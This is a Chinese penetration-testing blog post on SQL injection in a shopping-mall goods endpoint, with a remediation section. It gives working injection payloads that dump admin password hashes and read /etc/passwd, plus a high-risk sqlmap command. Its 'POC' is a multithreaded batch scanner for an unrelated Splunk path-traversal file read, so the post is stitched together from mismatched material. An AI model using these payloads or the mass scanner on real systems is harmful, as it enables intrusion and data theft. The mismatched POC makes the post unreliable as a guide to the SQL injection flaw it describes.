当前位置: 首页 > article >正文

#渗透测试#批量漏洞挖掘#微商城系统 goods SQL注入漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、漏洞复现步骤

三、技术原理分析

四、自动化渗透测试

五、漏洞修复方案

六、企业级安全建议

七、扩展攻击场景

八、漏洞POC


一、漏洞概述
  • 漏洞类型:SQL注入(CWE-89)
  • 风险等级:高危(CVSS 3.1评分可达9.8)
  • 影响模块:商品查询接口(如/goods/detail
  • 攻击向量:通过构造恶意商品ID参数篡改SQL查询数据

二、漏洞复现步骤
  1. 探针请求
    使用单引号测试参数过滤机制:

GET /goods/detail?id=1' HTTP/1.1 
  • 预期响应

    • 若返回数据库错误(如You have an error in your SQL syntax),说明存在注入点
    • 若页面正常显示,需进一步验证是否为盲注
  • 布尔盲注验证
    构造布尔条件测试:

# 条件为真 
GET /goods/detail?id=1' AND '1'='1 HTTP/1.1 # 条件为假 
GET /goods/detail?id=1' AND '1'='0 HTTP/1.1 
  • 对比页面差异:真条件应返回正常商品信息,假条件可能导致内容缺失或提示"商品不存在"

  • 联合查询注入获取数据

GET /goods/detail?id=-1' UNION SELECT 1,version(),3,4-- -
三、技术原理分析

脆弱代码示例(PHP):

// goods.php  
$id = $_GET['id'];
$sql = "SELECT * FROM goods WHERE id = $id";
$result = mysqli_query($conn, $sql);

漏洞成因:直接将用户输入的id参数拼接到SQL语句,未进行类型转换或过滤。


四、自动化渗透测试

使用sqlmap进行自动化检测:

sqlmap -u "http://target.com/goods/detail?id=1"  --batch --risk=3 

关键检测参数

  • --technique=B 指定布尔盲注技术
  • --dbms=mysql 指定数据库类型
  • --tables 枚举数据库表

五、漏洞修复方案
  1. 参数化查询改造(PHP示例):

$stmt = $conn->prepare("SELECT * FROM goods WHERE id = ?");
$stmt->bind_param("i", $id); // 'i'表示整数类型 
$stmt->execute();

输入验证加强

// 强制转换为整数 
$id = (int)$_GET['id'];
// 或正则校验 
if (!preg_match('/^\d+$/', $_GET['id'])) {die("非法参数");
}
  1. 全局防御措施

    • 配置WAF规则拦截UNION SELECTSLEEP()等关键词
    • 修改数据库连接账号权限,禁止DROP、FILE等高危操作
    • 开启PHP的mysqli.real_escape_string 转义(但不应作为唯一防护)

六、企业级安全建议
  1. SDL整合
    • 在需求阶段定义商品ID只能为数值型
    • 开发阶段强制使用ORM框架(如Laravel Eloquent)
    • 代码审计阶段使用Checkmarx/Fortify扫描SQLi漏洞
  2. 监控与响应
-- 数据库审计日志查询示例 
SELECT * FROM mysql.general_log  
WHERE argument LIKE '%goods%'AND (argument LIKE '%UNION%' OR argument LIKE '%SELECT%SLEEP%')
七、扩展攻击场景

SQL注入可能引发后续攻击:

  1. 数据泄露
    提取管理员哈希:
GET /goods/detail?id=-1' UNION SELECT 1,password,3,4 FROM admins-- -

文件系统访问(需FILE权限):
读取服务器配置文件:

GET /goods/detail?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4-- -

:所有渗透测试应在法律许可范围内进行,企业用户应及时通过官方补丁升级修复漏洞。对于已部署系统建议开展红队演练验证修复有效性。

八、漏洞POC
#!/usr/bin/env python3 
"""
Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版)
功能增强:
1. 支持多线程批量检测 
2. 增加HTTPS协议优先级 
3. 添加结果保存功能 
4. 改进漏洞特征检测 
5. 支持代理配置 
"""import argparse 
import requests 
import sys 
import os 
from concurrent.futures  import ThreadPoolExecutor, as_completed 
from urllib3.exceptions  import InsecureRequestWarning # 禁用SSL警告 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # 颜色配置 
COLOR_CONFIG = {'RED': '\033[91m','GREEN': '\033[92m','YELLOW': '\033[93m','RESET': '\033[0m'
}# 漏洞检测配置 
DETECTION_CONFIG = {'timeout': 15,'max_redirects': 0,'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],'path_traversal_depth': 10,  # 目录遍历层级 'default_ports': [8000, 8080, 443]  # 默认尝试端口 
}def color_print(text, color=None):"""彩色输出封装"""if color and COLOR_CONFIG.get(color.upper()): return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"return text def construct_url(base_url):"""智能处理URL格式"""base_url = base_url.strip() if not base_url.startswith(('http://',  'https://')):for port in DETECTION_CONFIG['default_ports']:if f':{port}' in base_url:return f'https://{base_url}'return f'http://{base_url}'return base_url def check_file_read(target_url, proxies=None, timeout=None):"""执行漏洞检测核心逻辑"""headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36','Accept-Encoding': 'gzip, deflate'}# 动态构造路径遍历 traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" try:response = requests.get( exploit_url,headers=headers,verify=False,timeout=timeout or DETECTION_CONFIG['timeout'],allow_redirects=DETECTION_CONFIG['max_redirects'],proxies=proxies )# 增强特征检测 vuln_detected = all(sig in response.text  for sig in DETECTION_CONFIG['vuln_signatures']) if response.status_code  == 200 else False return {'url': target_url,'status': 'VULNERABLE' if vuln_detected else 'SAFE','status_code': response.status_code, 'content_length': len(response.text), 'response_sample': response.text[:100] }except requests.RequestException as e:return {'url': target_url,'error': str(e)}def process_results(results, output_file=None):"""处理并输出检测结果"""for result in results:if 'error' in result:print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")continue status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"print(f"{status_msg} - {result['url']}\n   {info_msg}")if output_file:with open(output_file, 'a') as f:f.write(f"{result['url']},{result['status']}\n") def main():parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')parser.add_argument('-u',  '--url', help='单个目标URL')parser.add_argument('-f',  '--file', help='包含多个URL的文件')parser.add_argument('-t',  '--threads', type=int, default=5, help='并发线程数 (默认: 5)')parser.add_argument('-o',  '--output', help='结果输出文件')parser.add_argument('--timeout',  type=int, default=15, help='请求超时时间 (默认: 15秒)')parser.add_argument('--proxy',  help='使用代理 (示例: http://127.0.0.1:8080)')args = parser.parse_args() # 参数校验 if not args.url  and not args.file: parser.error(' 必须指定 -u/--url 或 -f/--file 参数')# 配置代理 proxies = {'http': args.proxy,  'https': args.proxy}  if args.proxy  else None # 准备目标列表 targets = []if args.url: targets.append(construct_url(args.url)) if args.file: if not os.path.exists(args.file): sys.exit(color_print(f" 错误: 文件 {args.file}  不存在", 'RED'))with open(args.file,  'r') as f:targets.extend([construct_url(line)  for line in f if line.strip()  and not line.startswith('#')]) # 执行并发检测 results = []with ThreadPoolExecutor(max_workers=args.threads)  as executor:futures = {executor.submit(check_file_read,  url, proxies, args.timeout):  url for url in targets}for future in as_completed(futures):results.append(future.result()) # 处理结果输出 process_results(results, args.output) if __name__ == '__main__':main()

相关文章:

#渗透测试#批量漏洞挖掘#微商城系统 goods SQL注入漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...

Lua中文语言编程源码-第十一节,其它小改动汉化过程

__tostring 汉化过程 liolib.c metameth[] {"__转换为字符串", f_tostring}, lauxlib.c luaL_callmeta(L, idx, "__转换为字符串") lua.c luaL_callmeta(L, 1, "__转换为字符串") __len 汉化过程 ltm.c luaT_eventname[] ltablib.c c…...

import { Component, Vue, Prop, Watch } from ‘vue-property-decorator‘

文章目录 导入部分的解释总结Vue 3 的推荐替代方案总结 你提供的代码片段是使用 vue-property-decorator 库的示例,这是一个第三方库,它提供了 Vue 组件的装饰器,使得编写类风格的 Vue 组件更加方便。以下是对代码中每个部分的详细解释&…...

C++基础系列【5】namespace using

本文主要介绍namespace和using。 什么是namespace&#xff1f; namespace是指命名空间&#xff0c;表示某个变量标识符的可见空间&#xff0c;比如下面的代码&#xff1a; namespace Meow {int k 100; }int main() {std::cout << k << std::endl; }这段代码中在…...

MySQL万能备份脚本

此脚本适用于 MySQL 各个生命周期的版本 #!/bin/bash # mybackup.sh# 备份保留天数&#xff0c;建议保留三天 days7 # 备份时间 time$(date %Y%m%d%H%M%S) # 备份保存路径 backup_dir/opt/backup # 备份工具 toolmysqldump # 端口 port"3306" # 是否采用 --all-data…...

分桶函数的使用

除了 NTILE 函数&#xff0c;SQL 中还有其他一些与 分桶&#xff08;bucketization&#xff09;相关的函数&#xff0c;虽然它们的实现方式不同&#xff0c;但都涉及将数据分成多个区间或组。以下是一些常用的分桶函数&#xff1a; 1. CASE 语句 虽然 CASE 不是开窗函数&…...

5. k8s二进制集群之ETCD集群部署

下载etcd安装包创建etcd配置文件准备证书文件和etcd存储目录ETCD证书文件安装(分别对应指定节点)创建证书服务的配置文件启动etcd集群验证etcd集群状态继续上一篇文章《k8s二进制集群之ETCD集群证书生成》下面介绍一下etcd证书生成配置。 下载etcd安装包 https://github.com…...

JMeter通过BeanShell写入CSV文件中的中文乱码

在 JMeter 中通过 BeanShell 写入 CSV 文件时&#xff0c;如果出现中文乱码问题&#xff0c;通常是因为文件编码不匹配。默认情况下&#xff0c;FileWriter 使用的是系统默认编码&#xff08;可能是 ISO-8859-1 或其他非 UTF-8 编码&#xff09;&#xff0c;而中文字符需要 UTF…...

智能化转型2.0:从“工具应用”到“价值重构”

过去几年&#xff0c;“智能化”从一个模糊的概念逐渐成为企业发展的核心议题。2024年&#xff0c;随着生成式AI、大模型、智能体等技术的爆发式落地&#xff0c;中国企业正式迈入智能化转型的2.0时代。这一阶段的核心特征是从单一场景的“工具应用”转向全链条的“价值重构”&…...

X Window System 架构概述

X Window System 架构概述 1. X Server 与 X Client ​ 这里引入一张维基百科的图&#xff0c;在Linux系统中&#xff0c;若用户需要图形化界面&#xff0c;则可以使用X Window System&#xff0c;其使用**Client-Server**架构&#xff0c;并通过网络传输相关信息。 ​ ​ X…...

【ArcGIS Pro 简介1】

ArcGIS Pro 是由 Esri &#xff08;Environmental Systems Research Institute&#xff09;公司开发的下一代桌面地理信息系统&#xff08;GIS&#xff09;软件&#xff0c;是传统 ArcMap 的现代化替代产品。它结合了强大的空间分析能力、直观的用户界面和先进的三维可视化技术…...

启明星辰发布MAF大模型应用防火墙产品,提升DeepSeek类企业用户安全

2月7日&#xff0c;启明星辰面向DeepSeek等企业级大模型业务服务者提供的安全防护产品——天清MAF&#xff08;Model Application Firewall&#xff09;大模型应用防火墙产品正式发布。 一个新赛道将被开启…… DeepSeek的低成本引爆赛道规模 随着DeepSeek成为当前最热的现象级…...

小米AI眼镜官微上线,将与小米15 Ultra同台亮相,近屿智能用心培育 AI 人才

近日&#xff0c;小米眼镜官微已正式上线&#xff0c;认证主体为小米通讯技术有限公司。据悉&#xff0c;小米AI眼镜已获得入网许可&#xff0c;并计划提前至2月发布&#xff0c;与小米15 Ultra同台亮相。 此前&#xff0c;小米AI眼镜原定于2025年3月至4月发布。早在去年&#…...

Mac下使用brew安装go 以及遇到的问题

首先按照网上找到的命令进行安装 brew install go 打开终端输入go version&#xff0c;查看安装的go版本 go version 配置环境变量 查看go的环境变量配置&#xff1a; go env 事实上安装好后的go已经可以使用了。 在home/go下新建src/hello目录&#xff0c;在该目录中新建…...

在rtthread中,scons构建时,它是怎么知道是从rtconfig.h找宏定义,而不是从其他头文件找?

在rtthread源码中&#xff0c;每一个bsp芯片板级目录下都有一个 SConstruct scons构建脚本的入口&#xff0c; 在这里把rtthread tools/目录下的所有模块都添加到了系统路径中&#xff1a; 在tools下所有模块中&#xff0c;最重要的是building.py模块&#xff0c;在此脚本里面…...

Unity游戏(Assault空对地打击)开发(7) 爆炸效果

效果 准备 首先请手搓一个敌军基地。 然后添加一个火焰特效插件或者自建。 爆炸脚本编写 新建一个脚本命名为Explode。 无需挂载到对象上。 首先是全部代码。 using System.Collections; using System.Collections.Generic; using System.Linq; using TMPro; using UnityEngine…...

嵌入式面试题 C/C++常见面试题整理_7

一.什么函数不能声明为虚函数? 常见的不能声明为虚函数的有:普通函数(非成员函数):静态成员函数;内联成员函数;构造函数;友元函数。 1.为什么C不支持普通函数为虚函数?普通函数(非成员函数)只能被overload&#xff0c;不能被override&#xff0c;声明为虚函数也没有什么意思…...

excel实用问题:提取文字当中的数字进行运算

0、前言&#xff1a; 这里汇总在使用excel工作过程中遇到的问题&#xff0c;excel使用wps版本&#xff0c;小规模数据我们自己提取数据可行&#xff0c;大规模数据就有些难受了&#xff0c;因此就产生了如下处理办法。 需求&#xff1a;需要把所有文字当中的数字提取出来&…...

【prompt实战】AI +OCR技术结合ChatGPT能力项目实践(BOL提单识别提取专家)

本文原创作者:姚瑞南 AI-agent 大模型运营专家,先后任职于美团、猎聘等中大厂AI训练专家和智能运营专家岗;多年人工智能行业智能产品运营及大模型落地经验,拥有AI外呼方向国家专利与PMP项目管理证书。(转载需经授权) 目录 1. 需求背景 2. 目标 3. BOL通用处理逻辑…...

昇思打卡营第五期(MindNLP特辑)番外:硅基流动 x 华为云DeepSeek V3 API推理MindTinyRAG

1.前言 前脚&#xff0c;DeepSeek面临的巨头企业官宣加入vs多国政府下场质疑的冰火两重天局势尚未平静&#xff08;DeepSeek在美两重天&#xff1a;五大巨头接入&#xff0c;政府诚惶诚恐&#xff09;&#xff1b;后脚&#xff0c;OpenAI被逼急&#xff0c;凌晨亮出全新推理…...

APP广告变现如何优化广告填充率,提升变现收益?

APP广告变现对接聚合广告平台可以提升广告变现效率&#xff0c;最大化广告收益。#APP广告变现# 一般来说&#xff0c;广告填充率越高&#xff0c;意味着广告采买方数量越多&#xff0c;可以将广告库存卖掉。但实际的广告变现业务中&#xff0c;100%的广告填充率几乎无法达成。…...

DeepSeek R1 Distill Llama 70B(免费版)API使用详解

DeepSeek R1 Distill Llama 70B&#xff08;免费版&#xff09;API使用详解 在人工智能领域&#xff0c;随着技术的不断进步&#xff0c;各种新的模型和应用如雨后春笋般涌现。今天&#xff0c;我们要为大家介绍的是OpenRouter平台上提供的DeepSeek R1 Distill Llama 70B&…...

【文件上传、秒传、分片上传、断点续传、重传】

文章目录 获取文件对象文件上传&#xff08;秒传、分片上传、断点续传、重传&#xff09;优化 获取文件对象 input标签的onchange方法接收到的参数就是用户上传的所有文件 <html lang"en"><head><title>文件上传</title><style>#inp…...

LabVIEW与PLC交互

一、写法 写命令立即读出 写命令后立即读出&#xff0c;在同一时间不能有多个地方写入&#xff0c;因此需要在整个写入后读出过程加锁 项目中会存在多个循环并行执行该VI&#xff0c;轮询PLC指令 在锁内耗时&#xff0c;就是TCP读写的实际耗时为5-8ms&#xff0c;在主VI六个…...

树莓派5添加摄像头 在C++下调用opencv

由于树莓派5 os系统升级,正常libcamera创建对象每次失败。 改如下方法成功。 1 创建管道 rpicam-vid -t 0 --codec mjpeg -o udp://127.0.0.1:8554 > /dev/null 2>&1 2 opencv从管道里读取 #include <opencv2/opencv.hpp> #include <iostream>int mai…...

【Redis实战】投票功能

1. 前言 现在就来实践一下如何使用 Redis 来解决实际问题&#xff0c;市面上很多网站都提供了投票功能&#xff0c;比如 Stack OverFlow 以及 Reddit 网站都提供了根据文章的发布时间以及投票数计算出一个评分&#xff0c;然后根据这个评分进行文章的展示顺序。本文就简单演示…...

【开源AI】AI一页一页读PDF

【开源AI】AI一页一页读PDF 可以在这里看 : 让AI 处理 PDF 文件,提取其中的知识点,并生成总结。 只是无法修改,后续若有更新在csdn这里。 【OpenAI】 API 更新: JSON 结构化输出约束机制( JSON Schema) 的一次实战。知识库的JSON Schema形式 每一页都要总结,总结的知识…...

Selenium记录RPA初阶 - 基本输入元件

防止自己遗忘&#xff0c;故作此为记录。 爬取网页基本元件并修改后爬取。 包含元件&#xff1a; elements: dict[str, str] {"username": None,"password": None,"email": None,"website": None,"date": None,"ti…...

第三个Qt开发实例:利用之前已经开发好的LED驱动在Qt生成的界面中控制LED2的亮和灭

前言 上一篇博文 https://blog.csdn.net/wenhao_ir/article/details/145459006 中&#xff0c;我们是直接利用GPIO子系统控制了LED2的亮和灭&#xff0c;这篇博文中我们利用之前写好的LED驱动程序在Qt的生成的界面中控制LED2的亮和灭。 之前已经在下面两篇博文中实现了LED驱动…...

Android studio 创建aar包给Unity使用

1、aar 是什么&#xff1f; 和 Jar有什么区别 aar 和 jar包 都是压缩包&#xff0c;可以使用压缩软件打开 jar包 用于封装 Java 类及其相关资源 aar 文件是专门为 Android 平台设计的 &#xff0c;可以包含Android的专有内容&#xff0c;比如AndroidManifest.xml 文件 &#…...